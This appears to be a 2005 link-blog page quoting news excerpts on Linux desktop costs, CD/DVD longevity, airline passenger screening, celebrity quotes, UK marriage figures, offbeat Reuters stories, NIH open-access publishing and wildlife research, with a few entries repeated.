Part I: Corporate Desktop Linux - The Hard Truth :: Open Source, Linux News & Software - OSDir.com :: Linux & Open Source News from Across the Community: "W. McDonald Buck, retired CTO of World Bank, believes we need to take a more honest and frank look at the Cost Analyses it will take to put Linux on the corporate desktop. He thinks we may be fooling ourselves now. In this four-part essay he will address the real-world scenarios from small business to the the hard and soft costs that big-business CTOs look at when considering the corporate Linux desktop and what we need to know about making it a successful decision."
NIST Releases Study Of CD/DVD Longevity
NIST Releases Study Of CD/DVD Longevity
dirkin writes "The National Institute of Standards and Technology has released a preliminary study of the potential lifespan of CD-Rs and DVD-Rs. The PDF study is here. A good starting point for deciding what type of media to purchase to keep those backups and photos kicking around longer. (You DID buy the silver/gold alloy phthalocyanine CDs, didn't you?)"
(PDF)
Friday, February 04, 2005
Wired News: Passenger Screening, Take 10
Wired News: Passenger Screening, Take 10: "A controversial and much-delayed upgrade of the current airline passenger-screening system has gained new momentum, as officials have started testing the newly centralized computer system using real passenger data and are looking to see if commercial databases can help verify passengers' identification.
Currently, airline passengers are screened by individual airlines, which select passengers for extra screening or rejection based on whether a person's name matches or approximates those on government watch lists. Passengers who fly one-way or pay with cash are also more likely to be patted down and searched."
Yahoo! News - Notable Quotes
Yahoo! News - Notable Quotes: "HOLLYWOOD (Reuters) - They really said it -- notable quotes from the news:
'Don't be polite. I don't like Tommy and Tommy doesn't like me. Tommy doesn't care to resolve things. I don't care. I have no feelings about it either way. You go to work and there's a guy in the office you don't like. You still do your job, huh?'
-- MOTLEY CRUE singer VINCE NEIL, on drummer TOMMY LEE, in the March issue of Blender.
- - - -
'I was first attracted to men actively when I was 13. I kind of had my first sexual awakening much earlier, with a brother/sister team with red hair in a bathtub on Easter Sunday ... I still have a thing for redheads and freckles.'
-- R.E.M (news - web sites). singer MICHAEL STIPE, in Blender.
- - - -
'To them I'm just a mom who drives them crazy. I've been in Playboy, sure, but I can still be lunch monitor at their school on Wednesdays. My kids couldn't care less.'
--PAMELA ANDERSON, quoted in the New York Post on how she balances being a sex symbol and mother to 7- and 8-year-old sons.
- - - -
'What worries me the most about the Oscars (news - web sites) is that my shoes are going to kill my feet. A list of thank-yous isn't much of an acceptance speech, so perhaps I should stand up there and tell everyone about the foot clinic I'm about to go visit.'
--Best actress nominee IMELDA STAUNTON of 'Vera Drake' in the New York Daily News."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LONDON (Reuters) - Tying the knot is creeping back into fashion with figures showing that for the second consecutive year, more people are getting married.
The Office for National Statistics also reveals couples are increasingly snubbing church weddings and opting to celebrate their relationships in stately homes, town halls and restaurants.
The ONS figures released Friday showed there were 267,700 marriages in England and Wales in 2003, an increase from 255,596 in 2002.
While traditionalists may cheer at the rise from 2001 -- when figures dropped to a 104-year low -- statisticians caution a long-term decline in marriage has been prevalent since 1972.
Two thirds of weddings in 2003 were civil, with increasing numbers taking place in 'approved premises', which according to the General Register Office website could mean a posh hotel at Heathrow airport, a former steelworks in South Yorkshire or a London Eye capsule.
After years of declining numbers of religious ceremonies -- in 1991 they still outnumbered civil ceremonies -- church leaders would take comfort in the fact there were 86,080 religious ceremonies in 2003, down just 306 from 2002.
People continue to marry later in life. The average age for a first marriage in 2003 was 31 for men and 29 for women. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LONDON (Reuters) - With Americans suffering a reputation as geographically challenged, Condoleezza Rice has handed out pocket atlases to the U.S. press corps on her first trip abroad as Secretary of State.
'I would not want anybody to feel lost' the former university provost quipped as she handed out 18 copies of the books on her plane.
Americans are often mocked abroad for their perceived lack of knowledge of the outside world -- surveys sometimes show U.S. kids cannot even locate neighbours Canada and Mexico.
The souvenir for journalists of her inaugural eight-day, 10-stop trip to Europe and the Middle East was also Rice's way of showing she will travel widely to fulfil her pledge that 'the time for diplomacy is now.'
Her predecessor Colin Powell was criticised for travelling too little when some more face-to-face diplomacy might have helped win over allies to radical U.S. policies.
Asked by reporters whether the presents were a portent of heavy travel schedules for the new top U.S. diplomat, Rice smiled and replied: 'You will see.' "
Yahoo! News - Girls fined for giving neighbour cookies
Yahoo! News - Girls fined for giving neighbour cookies: "DURANGO, Colorado (Reuters) - A Colorado judge ordered two teen-age girls to pay about $900 (480 pounds) for the distress a neighbour said they caused by giving her home-made cookies adorned with paper hearts.
The pair were ordered to pay $871.70 plus $39 in court costs after neighbour Wanita Renea Young, 49, filed a lawsuit complaining that the unsolicited cookies, left at her house after the girls knocked on her door, had triggered an anxiety attack that sent her to the hospital the next day.
Taylor Ostergaard, then 17, and Lindsey Jo Zellitte, 18, paid the judgment on Thursday after a small claims court ruling by La Plata County Court Judge Doug Walker, a court clerk said on Friday.
The girls baked cookies as a surprise for several of their rural Colorado neighbours on July 31 and dropped off small batches on their porches, accompanied by red or pink paper hearts and the message: 'Have a great night'.
The Denver Post newspaper reported on Friday that the girls had decided to stay home and bake the cookies rather than go to a dance where there might be cursing and drinking.
It reported that six neighbours wrote letters entered as evidence in the case thanking the girls for the cookies.
But Young said she was frightened because the two had knocked on her door at about 10:30 p.m. and run off after leaving the cookies.
She went to a hospital emergency room the next day, fearing that she had suffered a heart attack, court records said.
The judge awarded Young her medical costs, but did not award punitive damages. He said he did not think the girls had acted maliciously but that 10:30 was fairly late at night for them to be out."
Yahoo! News - It's So Cute! He's Going After Junior's Backpack!
Yahoo! News - It's So Cute! He's Going After Junior's Backpack!: "TORONTO (Reuters) - A Canadian couple has launched a business offering worried parents or concerned employers private drug-detection services that will search homes and offices for everything from marijuana to heroin.
Russ Rathy of Pense, Saskatchewan, started the home-based business, Crusader Resources, along with his wife, after buying a young German shepherd trained to sniff out drugs.
The dog, named Alis Vicona, cost C$20,000 ($16,000) and can detect drugs or the residue of drugs in buildings or on clothing, even after 30 days.
'If you suspect your kids of drug use, this is one way to make sure there's no drugs in the house,' Russ Rathy, 39, told Reuters from his home near the western province's capital of Regina.
'Obviously it gives you a little more leeway rather than waiting for them to become an addict and put them in rehabilitation -- or being picked up by the police and now they have a criminal record and their future is pretty much shot with that.'
Once the dog detects drugs, Rathy said it is up to the client to decide what the consequences should be.
'Whether they contact police or flush it down the toilet, it's left up to them,' he said. 'We'll obviously make recommendations to call authorities.'
Rathy, who says they started the business more out of parental concerns than a bid to make money, charges only C$20 ($16) for the search of a private home or vehicle.
For businesses it costs a bit more, depending on the frequency of searches and the length of the contract.
He uses a portion of the business income to fund free drug awareness presentations at schools and non-profit organizations."
Yahoo! News - School Halts Adopt a Sniper Fund-Raiser
Yahoo! News - School Halts Adopt a Sniper Fund-Raiser: "CHICAGO (Reuters) - A U.S. university in Wisconsin has blocked an attempt by Republican students to raise money for a group called 'Adopt a Sniper' that raises money for U.S. sharp-shooters in Iraq (news - web sites) and Afghanistan (news - web sites)."
Yahoo! News - Education Chief: Strike Is a 5-Letter Word
Yahoo! News - Education Chief: Strike Is a 5-Letter Word: "TORONTO (Reuters) - Ontario Education Minister Gerard Kennedy got low marks for spelling and math this week when discussing the possibility of a strike by the Canadian province's teachers.
'I think strike is a bit of a five-letter word in education and that gets people nervous,' Kennedy said on Wednesday, according to media reports.
After it was pointed out that the word strike has six letters, Kennedy, a member of the Liberal Party, said that he meant to say something else all together. 'Pardon me, I was going to say four, but it really is a tough word in education. Thank you -- show off!'
Critics were quick to call the gaffe a 'Dan Quayle (news - web sites) moment,' in reference to the former U.S. vice-president, who famously made a schoolboy add an unnecessary 'e' to the end of the boy's correctly spelled 'potato.'
'But then again, at least no one put Dan Quayle in charge of educating over a million schoolchildren,' said legislator John Baird, of the opposition Conservative Party."
Yahoo! News - Hot Times at the Old Firehouse...
Yahoo! News - Hot Times at the Old Firehouse...: "TAMPA, Fla. (Reuters) - Fire officials were as red as their fire trucks Thursday after announcing that five firemen were disciplined for inviting strippers to the fire station for a nude and topless photo session.
The women, identified only as Jamie and Heather, posed with a fire truck at a city fire station in Tampa in October. They were naked in some photos and wore only high heels, firefighters' pants and suspenders in others. Dozens of the pictures were posted on the Internet.
The firefighters were charged with neglect of duty, moral turpitude and insubordination.
One of the men, a captain, was fired. The other four were suspended for two weeks to a month and will lose up to $5,000 in pay. One of them had a part-time job at a strip club where the women danced.
Fire Chief Dennis Jones said he was embarrassed by the firemen's actions but that 'they didn't miss any calls.'"
Yahoo! News - Radar Police Stumped by Parking Ticket
Yahoo! News - Radar Police Stumped by Parking Ticket: "BERLIN (Reuters) - An over-zealous policeman slapped a parking ticket on the windshield of a fellow officer's squad car while his colleagues were setting a radar trap to catch speeding motorists in a town in eastern Germany.
'Traffic regulations apply for everyone,' Hans-Joachim Schneider, head of the Jessen town office, told the Mitteldeutsche Zeitung newspaper.
The radar police had parked their squad car on the wrong side of the road -- facing the oncoming traffic."
Yahoo! News - Radar Police Stumped by Parking Ticket
Yahoo! News - Radar Police Stumped by Parking Ticket: "BERLIN (Reuters) - An over-zealous policeman slapped a parking ticket on the windshield of a fellow officer's squad car while his colleagues were setting a radar trap to catch speeding motorists in a town in eastern Germany.
'Traffic regulations apply for everyone,' Hans-Joachim Schneider, head of the Jessen town office, told the Mitteldeutsche Zeitung newspaper.
The radar police had parked their squad car on the wrong side of the road -- facing the oncoming traffic."
Yahoo! News - Online Mob (Poll) Would Hang Hackers High
Yahoo! News - Online Mob (Poll) Would Hang Hackers High: "The majority of people polled by a security firm said that the teenager sentenced to 18 months in federal prison for spawning a variant of the MSBlast worm deserved tougher punishment."
Schneier on Security: Implanting Chips in People at a Distance
Schneier on Security: Implanting Chips in People at a Distance: "Implanting Chips in People at a Distance
I have no idea if this is real or not. But even if it's not real, it's just a matter of time before it becomes real. How long before people can surreptitiously have RFID tags injected into them?
What is the ID SNIPER rifle?
It is used to implant a GPS-microchip in the body of a human being, using a high powered sniper rifle as the long distance injector. The microchip will enter the body and stay there, causing no internal damage, and only a very small amount of physical pain to the target. It will feel like a mosquito-bite lasting a fraction of a second. At the same time a digital camcorder with a zoom-lense fitted within the scope will take a high-resolution picture of the target. This picture will be stored on a memory card for later image-analysis."
Yahoo! News - Food Scarcity Predicted With Rising Temps
Yahoo! News - Food Scarcity Predicted With Rising Temps: "WASHINGTON - A global warming trend will reduce farm yields and make food supplies scarcer over the next century, an environmental group said Thursday, citing data from the United Nations (news - web sites) and the National Academy of Sciences (news - web sites) and trends in the world rice market."
Yahoo! News - Food Scarcity Predicted With Rising Temps
Yahoo! News - Food Scarcity Predicted With Rising Temps: "WASHINGTON - A global warming trend will reduce farm yields and make food supplies scarcer over the next century, an environmental group said Thursday, citing data from the United Nations (news - web sites) and the National Academy of Sciences (news - web sites) and trends in the world rice market."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "WASHINGTON (Reuters) - The U.S. National Institutes of Health, which spent nearly $20 billion last year funding research, urged scientists on Thursday to let the agency publish their studies on the Internet.
Researchers receiving NIH grants should send their manuscripts to a free, Web-based archive managed by the National Library of Medicine as soon as they can, after first submitting them to medical or scientific journals, NIH director Dr. Elias Zerhouni said.
'With the rapid growth in the public's use of the Internet, NIH must take a leadership role in making available to the public the research that we support,' Zerhouni said.
'Scientists have a right to see the results of their work disseminated as quickly and broadly as possible, and NIH is committed to helping our scientists exercise this right.'
The policy is a challenge to scientific journals that usually publish such research.
Journals such as Science, Nature and The New England Journal of Medicine sometimes charge thousands of dollars for annual subscriptions but in return subject the studies they publish to an often lengthy process of review and critique.
The NIH, which spent $19.3 billion in 2004 to pay for work done by 212,000 researchers around the world, said taxpayers have a right to see the research they have paid for.
Scientists can ask for a delay of up to one year to protect the profitability of journals, Zerhouni said.
'My goal is to change the landscape of scientific publishing, which is paid for by the public,' he told reporters in a telephone briefing.
The NIH estimates that the results of research it supported were described in more than 60,000 published papers in 2003.
The database will be available on the PubMed Central Web site at http://www.pubmedcentral.gov/.
Zerhouni said for-profit journals should not be hurt by the policy because only a fraction of the studies they feature are done by NIH-funded researchers.
But there is a move to challenge the big journals. The San Francisco-based Public Library of Science, or PLoS, for example, publishes two free online journals and was backed by former National Institutes of Health director Dr. Harold Varmus.
Disease advocates have complained especially loudly, saying they cannot find information they need without paying fees for an online peek at a study. "
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "SAN FRANCISCO (Reuters) - Road workers trimming weeds by a roadside north of San Francisco inadvertently cleared away some of the world's last wild examples of a rare plant, a botany expert said on Thursday.
Doreen Smith of the Marin Native Plant Society said public works officials in Marin County cleared away 95 out of 100 of a plant that grows as tall as three feet (one meter) high and has purple flowers known as Baker's Delphinium.
'It is a rare plant that grew only in one or two places in Northern California,' Smith said, expressing emotion as she spoke of the plant. 'They had been warned that it was there... but the road people didn't do it on purpose.'
She said the extent of the damage became clear only in recent days when spring budding of new plants began, revealing only five Baker's Delphinium still growing in perhaps the last place in the wild worldwide.
Smith said that some gardeners in Britain may grow the plant, however, and said California researchers had several seeds of the plant as well.
The director Marin County department of public works, Farhad Mansourian, responded by issuing a new directive to his workers, dated Feb. 2, ordering workers to show more sensitivity to endangered plants.
'Should any situation arise with the potential to disturb a sensitive plant site, including an emergency situation, no action shall be taken without first personally consulting with me or the chief assistant director,' he wrote. "
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MELBOURNE, Fla. (Reuters) - The International Space Station is not ready to serve as a safe haven for shuttle crew members stranded by ship damage, the Russian commander of the next station crew said on Thursday.
Cosmonaut Sergei Krikalev said NASA's emergency plan for the crew of a damaged space shuttle to take refuge on the orbiting station until a rescue ship could be sent raised safety issues and he had pressed managers on the issue.
'We need to prepare a backup plan for this backup scenario,' said Krikalev, 46, a veteran of three long-duration space flights and two shuttle missions.
'It's going to be difficult. The station cannot stay in this configuration for a long time,' he said during a news conference at Houston's Johnson Space Center.
NASA's plan stems from a recommendation by a panel investigating the Columbia shuttle disaster two years ago.
Krikalev, NASA astronaut John Phillips, 53, and European Space Agency astronaut Roberto Vittori, 40, are scheduled to be launched to the International Space Station in mid-April aboard a Russian Soyuz rocket.
Krikalev and Phillips will replace the current crew, Leroy Chiao and Salizhah Sharipov. Italian Vittori will spend 10 days at the outpost and return with Chiao and Sharipov.
About a month into their planned six-month stay, Krikalev and Phillips are scheduled to host the first U.S. space shuttle crew to visit the station since before the February 2003 Columbia accident.
NASA suspended shuttle missions to the half-built station to investigate the cause of the accident, which killed seven astronauts, and make repairs to the remaining three shuttles."
Yahoo! News - Organisms Found in Deepest Part of Ocean
Yahoo! News - Organisms Found in Deepest Part of Ocean: "WASHINGTON - Tiny single-celled organisms, many of them previously unknown, have been discovered beneath nearly seven miles of water in the deepest part of the ocean.
A sample of sediment collected from the Challenger Deep southwest of Guam in the Pacific Ocean Islands yielded several hundred foraminifera, a type of plankton that is usually abundant near the ocean surface.
'On the species level, all the species we found from the Challenger Deep are quite new,' researcher Hiroshi Kitazato said vie e-mail.
The outer shapes are similar to other known foraminifera, but details of their structure differ, explained Kitazato, of the Institute for Research on Earth Evolution, Japan Agency for Marine-Earth Science and Technology."
Yahoo! News - Biologists Planning to Study Pelicans
Yahoo! News - Biologists Planning to Study Pelicans: "BISMARCK, N.D. - Pelican nesting grounds will be off-limits to the public this year at a refuge in central North Dakota while biologists plan their most extensive study ever of the big birds.
Biologists still are baffled about why some 28,000 birds showed up to nest at the refuge in early April but took off in late May and early June, abandoning their chicks and eggs. The 4,385-acre Chase Lake National Wildlife Refuge north of Medina had been the site of the largest nesting colony of white pelicans in North America.
Biologists are counting on the pelicans to return in April, as they have for at least a century."
Yahoo! News - Scientists Worry About Red Tide, Manatees
Yahoo! News - Scientists Worry About Red Tide, Manatees: "TAMPA, Fla. - An unseasonable outbreak of red tide has scientists worried that migrating manatees may swim into the potentially deadly algae.
The red tide, which formed in the Gulf of Mexico about 30 miles off Tampa Bay in early January, has moved nearer shore and south. It stretches from north of Anna Maria Isle south to Venice.
Red tide normally occurs from August through September. A winter bloom spells peril for manatees, which start moving out of warm water in rivers and estuaries in late February and early March, said Elsa Haubold, administrator for marine mammal research at the Fish and Wildlife Research Institute.
Haubold said there is a danger of a repeat of 2002 and 2003, when red tide killed 34 and 96 manatees, respectively."